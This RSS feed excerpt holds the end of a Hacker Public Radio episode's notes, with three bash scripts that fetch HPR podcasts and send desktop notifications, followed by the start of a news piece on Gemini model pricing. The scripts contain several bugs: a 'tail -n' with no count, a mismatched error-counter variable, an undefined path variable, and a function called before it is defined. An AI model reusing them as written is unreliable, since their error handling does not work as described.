To send a notification message to the notification area, you use the "notify-send" command.</p>

<p>
Simply follow notify-send with a quoted string and it will be displayed in the notification area. </p>

<p>

</p>

<p>

</p>

<p>
57 podfetcherrornotify</p>

<p>
The second shell script is one which notifies the user of errors.</p>

<p>
I will call this "podfetcherrornotify".</p>

<p>
With this shell script we set up a watch on a file which contains any error messages from podfetch.</p>

<p>
This script is very similar to podfetchnotify.</p>

<p>

</p>

<p>
58</p>

<p>
The exceptions are</p>

<p>
With inotifywait we only monitor for "modify".</p>

<p>
There is no sleep command at the end of the loop.</p>

<p>
Instead we sleep for a few seconds just after getting the exit code from inotifywait.</p>

<p>
This helps prevent problems caused by race conditions.</p>

<p>

</p>

<p>
59</p>

<p>
Next we check the inotifywait exit code.</p>

<p>
If it was zero, then we read the error report file and send a notification message to the user containing that error message.</p>

<p>

</p>

<p>
60</p>

<p>
If it was not zero, then we check to make sure that the directory that should contain the error log exists.</p>

<p>
If it does not exist, then we send a notification message to that effect to the user and terminate the script.</p>

<p>

</p>

<p>
61</p>

<p>
If the directory exists, then we check to see if the error message file used for signalling exists.</p>

<p>
If the file does not exist, then we create it.</p>

<p>

</p>

<p>
62</p>

<p>
One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.</p>

<p>
By creating the file we correct the cause of the error and allow  inotifywait to operate normally.</p>

<p>

</p>

<p>
63</p>

<p>
Finally we increment an error counter and check to see if the limit is exceeded.</p>

<p>
If there are excessive errors, then send a notification message to the user and exit.</p>

<p>
The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.</p>

<p>

</p>

<p>
64</p>

<p>
The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.</p>

<p>
Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Installing the Scripts</p>

<p>

</p>

<p>
Next I will describe how to install and prepare the scripts to run.</p>

<p>
We need to perform the following steps.</p>

<p>

</p>

<p>
66</p>

<p>
• First, we need to create a directory to hold the scripts and their associated data files.</p>

<p>
• Next we need to create a directory to hold the downloaded podcasts.</p>

<p>
• Then we must copy the scripts to these directories and make them executable. </p>

<p>
• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.</p>

<p>

</p>

<p>
67</p>

<p>
• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.</p>

<p>
• Then we need to run each script manually from the command line to check for errors.</p>

<p>
• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.</p>

<p>

</p>

<p>
68 Adding podfetch to the Crontab</p>

<p>
The above describes how to run the scripts manually.</p>

<p>
In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.</p>

<p>
To do this, open a terminal.</p>

<p>

</p>

<p>
69</p>

<p>
Type "crontab -e", and then press return.</p>

<p>
A text editor should open up containing the crontab file.</p>

<p>
On Ubuntu, this editor is GNU nano.</p>

<p>
Enter the appropriate cron parameters.</p>

<p>
I will provide an example here for running it 12 minutes past the hour every three hours.</p>

<p>

</p>

<p>
70</p>

<p>
12 */3 * * *  /home/username/pathtofiles/podfetch.sh</p>

<p>

</p>

<p>
71</p>

<p>
I won't explain cron in detail here.</p>

<p>
The example that I have just given should be good enough for most people.</p>

<p>
The "*/3" parameter will cause it to run every three hours.</p>

<p>
The "12" parameter will cause it to run 12 minutes past the hour when it does run.</p>

<p>

</p>

<p>
72</p>

<p>
Checking every three hours should be good enough for most people, but you can adjust that as you see fit.</p>

<p>
I would recommend however that you don't check more frequently than once per hour.</p>

<p>
Checking more frequently than necessary puts extra load on the distribution servers. </p>

<p>
It is very unlikely that you really do need each new episode the moment it is available. </p>

<p>

</p>

<p>
73</p>

<p>
I would also recommend changing the "12" parameter to some other random minute value.</p>

<p>
I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.</p>

<p>

</p>

<p>
74</p>

<p>
The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.</p>

<p>

</p>

<p>
75 Making the Notification Scripts Start Automatically</p>

<p>
The two notification scripts can be made to start automatically.</p>

<p>
The exact method to do this may vary according to distribution or desktop.</p>

<p>

</p>

<p>
76</p>

<p>
On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.</p>

<p>

</p>

<p>
77</p>

<p>
I won't go into details on this here, it should be fairly self evident how to use it once you see it.</p>

<p>
What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.</p>

<p>

</p>

<p>
78</p>

<p>
These ".desktop" files are all run automatically on start up.</p>

<p>
Once you have added the notification scripts, you will need to log out and then log back in to make them active.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
79 Conclusion</p>

<p>

</p>

<p>
I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. </p>

<p>

</p>

<p>
80</p>

<p>
The download script described here is tailored specifically for use with HPR only.</p>

<p>
However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.</p>

<p>
If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.</p>

<p>

</p>

<p>
81</p>

<p>
In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.</p>

<p>

</p>

<p>
I look forward to seeing you again later on another episode of Hack Public Radio.</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
podfetchdownloader</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Fetch pending HPR podcasts listed in the HPR RSS feed.</p>

<p>
# 8-Jun-2026</p>

<p>
# Licensed under GPLv3 or later.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Today's date and time as YYYYMMDDHHMMSS. </p>

<p>
podttimestamp=$( date +"%Y%m%d%H%M%S" )</p>

<p>

</p>

<p>
# The absolute path to the script. This is necessary when running it</p>

<p>
# using a cron job.</p>

<p>
podpath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# This is the absolute path to where to store the podcast files.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# Create the full path names here for all the text files used.</p>

<p>
podcastsfetched="$podpath/podcastsfetched.txt"</p>

<p>
poderrorslog="$podpath/poderrorslog.txt"</p>

<p>
poderrorsreport="$podpath/poderrorsreport.txt"</p>

<p>

</p>

<p>
tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"</p>

<p>
tmppodsnew="$podpath/tmppodsnew.txt" </p>

<p>
tmppodstodownload="$podpath/tmppodstodownload.txt" </p>

<p>
tmppodserrors="$podpath/tmppodserrors.txt" </p>

<p>
tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"</p>

<p>
tmplog="$podpath/tmplog.txt"</p>

<p>

</p>

<p>
# The URL for the HPR RSS feed.</p>

<p>
PodURL="http://hackerpublicradio.org/hpr_rss.php"</p>

<p>

</p>

<p>
# Limit on number of podcasts to download.</p>

<p>
DownloadLimit=11</p>

<p>

</p>

<p>
# Name of the podcast.</p>

<p>
PodName="Hacker Public Radio"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the required paths exist.</p>

<p>
# If this path does not exist, cannot log the error.</p>

<p>
if [[ ! -d "$podpath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath."</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# Where to store the podcast file fetched.</p>

<p>
if [[ ! -d "$podfilepath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath." &gt;&gt; $tmppodserrors</p>

<p>
	# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
	LogErrors</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the podcast log exists. We read it before we write to it,</p>

<p>
# so it must exist or we will hang on it not being present.</p>

<p>
if [[ ! -e $podcastsfetched ]]; then</p>

<p>
	touch $podcastsfetched</p>

<p>
fi</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Delete the specified files if they exist.</p>

<p>
# This accepts multiple file names in a variable number of parameters.</p>

<p>
CleanupFiles ()</p>

<p>
{</p>

<p>
	# $@ accepts multiple parameters.</p>

<p>
	for f in "$@"; do</p>

<p>
		# Check if the file exists.</p>

<p>
		if [ -e "$f" ]; then</p>

<p>
			rm "$f"</p>

<p>
		fi</p>

<p>
	done</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors () {</p>

<p>
	if [ -e $tmppodserrors ]; then</p>

<p>
		# The permanent log.</p>

<p>
		cat $tmppodserrors &gt;&gt; $poderrorslog</p>

<p>
		# This file is monitored for display by other scripts.</p>

<p>
		cat $tmppodserrors &gt; $poderrorsreport</p>

<p>
	fi</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Get the URL data from an RSS feed</p>

<p>
GetRSSURLData () {</p>

<p>

</p>

<p>
	wget --timeout=20 --tries=3 -O - "$PodURL" \</p>

<p>
	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \</p>

<p>
	| sort &gt; $tmppodsnew</p>

<p>

</p>

<p>
	# This is an alternate method that does not use xmllint.</p>

<p>
	# However, it is not as robust. If someone were to include the</p>

<p>
	# first grep search pattern in their show notes, then it would</p>

<p>
	# look for that as a valid tag and output the following text</p>

<p>
	# as a URL.</p>

<p>
	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "&lt;enclosure url=" \</p>

<p>
	#	| sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \</p>

<p>
	#	| cut -d'"' -f2 | sort &gt; $tmppodsnew</p>

<p>

</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Find which podcasts we do not already have.</p>

<p>
FindNewPodcasts () {</p>

<p>

</p>

<p>

</p>

<p>
	cat $podcastsfetched | sort &gt; $tmpoldurlssorted</p>

<p>
	comm -13 $tmpoldurlssorted $tmppodsnew &gt; $tmppodstodownload</p>

<p>

</p>

<p>
	rm $tmpoldurlssorted</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Download the podcasts.</p>

<p>
DownloadPodcasts() {</p>

<p>

</p>

<p>
	# Clear out previous temporary list of downloaded podcasts.</p>

<p>
	true &gt; $tmppodcastsfetched</p>

<p>

</p>

<p>

</p>

<p>
	for i in $( cat $tmppodstodownload )</p>

<p>
	do</p>

<p>

</p>

<p>
		# Extract the file name from the URL.</p>

<p>
		fname=$( basename $i )</p>

<p>
		outputpodname="$podfilepath/$fname"</p>

<p>

</p>

<p>
		# Download the file.</p>

<p>
		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"</p>

<p>

</p>

<p>
		# Check if the file exists and is not empty.</p>

<p>
		if [[ -s "$outputpodname" ]]; then</p>

<p>
			echo $i &gt;&gt; $tmppodcastsfetched</p>

<p>
		else</p>

<p>
			echo "$podttimestamp Error - $outputpodname was not found or is empty." &gt;&gt; $tmppodserrors</p>

<p>
		fi</p>

<p>

</p>

<p>

</p>

<p>
		# Delay a reasonable length of time between multiple downloads.</p>

<p>
		if (( $PodCount &gt; 1 )); then </p>

<p>
			sleep 3</p>

<p>
		fi</p>

<p>

</p>

<p>
	done</p>

<p>

</p>

<p>
	# Add the list of files downloaded to the log.</p>

<p>
	# Check if the list exists and is not empty.</p>

<p>
	if [ -s $tmppodcastsfetched ]; then</p>

<p>
		cat $tmppodcastsfetched &gt;&gt; $podcastsfetched</p>

<p>
		# Trim the log file to keep it from growing indefinitely.</p>

<p>
		tail -n50 $podcastsfetched &gt; $tmplog</p>

<p>
		mv $tmplog $podcastsfetched</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Remove the tmp file now that we are done with it.</p>

<p>
	rm $tmppodcastsfetched</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Clean up any left over files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>

</p>

<p>
# Get the RSS data.</p>

<p>
GetRSSURLData</p>

<p>

</p>

<p>
# Find which podcasts are new.</p>

<p>
FindNewPodcasts</p>

<p>

</p>

<p>
# Count how many new podcasts there are.</p>

<p>
PodCount=$( cat $tmppodstodownload | wc -l )</p>

<p>

</p>

<p>

</p>

<p>
# If no podcasts to download, skip this.</p>

<p>
# If too many podcasts for this feed, then log an error and skip.</p>

<p>
# This error will keep repeating until something is done about it.</p>

<p>
if (( $PodCount &gt; 0 )); then </p>

<p>
	if (( $PodCount &gt; $DownloadLimit )); then </p>

<p>
		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." &gt;&gt; $tmppodserrors		</p>

<p>
	else</p>

<p>
		# Download the podcasts listed in the temp file.</p>

<p>
		DownloadPodcasts</p>

<p>
	fi</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors</p>

<p>

</p>

<p>
# Clean up temp files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF FIRST SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>
podfetchnotify</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors for new files appearing in the new podcasts directory.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Path where new podcasts are to be stored.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Wait for the podcast directory to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	# Check for new files.</p>

<p>
	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )</p>

<p>
	result=$?</p>

<p>

</p>

<p>

</p>

<p>
	# Check if exited due to new podcast, or if some error.</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Success, signal new podcast.</p>

<p>
		notify-send "New HPR podcast available."</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		# If it doesn't exist, there isn't much we can do to fix it.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: Podcast directory not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Wait a bit so that multiple new files don't keep re-triggering the notification.</p>

<p>
	sleep 60</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF THIRD SHELL SCRIPT</p>

<p>

</p>

<p>
podfetcherror</p>

<p>
Created Tuesday 23 June 2026</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors the Podfetch error reporting file for new errors.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Where the Podfetch program error report file is located.</p>

<p>
poderrorspath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# The full path and file name.</p>

<p>
poderrorsreport="$poderrorspath/poderrorsreport.txt"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Error counter.</p>

<p>
errcount=0</p>

<p>

</p>

<p>
# Wait for the poderrorsreport file to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	errmsg=$( inotifywait -e modify $poderrorsreport )</p>

<p>
	result=$?</p>

<p>

</p>

<p>
	# Wait a bit to ensure that writing to the file is complete.</p>

<p>
	sleep 3</p>

<p>

</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Get the latest error message.</p>

<p>
		# Cut out the date stamp at the start of the line and take the rest.</p>

<p>
		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )</p>

<p>

</p>

<p>
		notify-send "Podfetch error: $poderr"</p>

<p>

</p>

<p>
		# Reset the error counter every time there is a successful result.</p>

<p>
		errcount=0</p>

<p>

</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: error report path not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Check if the file we are trying to monitor exists.</p>

<p>
		# If not, then create an empty file for error signaling.</p>

<p>
		if [ ! -e "$poderrorsreport" ]; then</p>

<p>
			echo &gt; $poderrorsreport</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Increment the error counter.</p>

<p>
		count=$(( count + 1 ))</p>

<p>
		if (( count &gt; 3 )); then</p>

<p>
			notify-send "Podfetch error: Excessive unknown errors, exiting."</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
	fi</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to 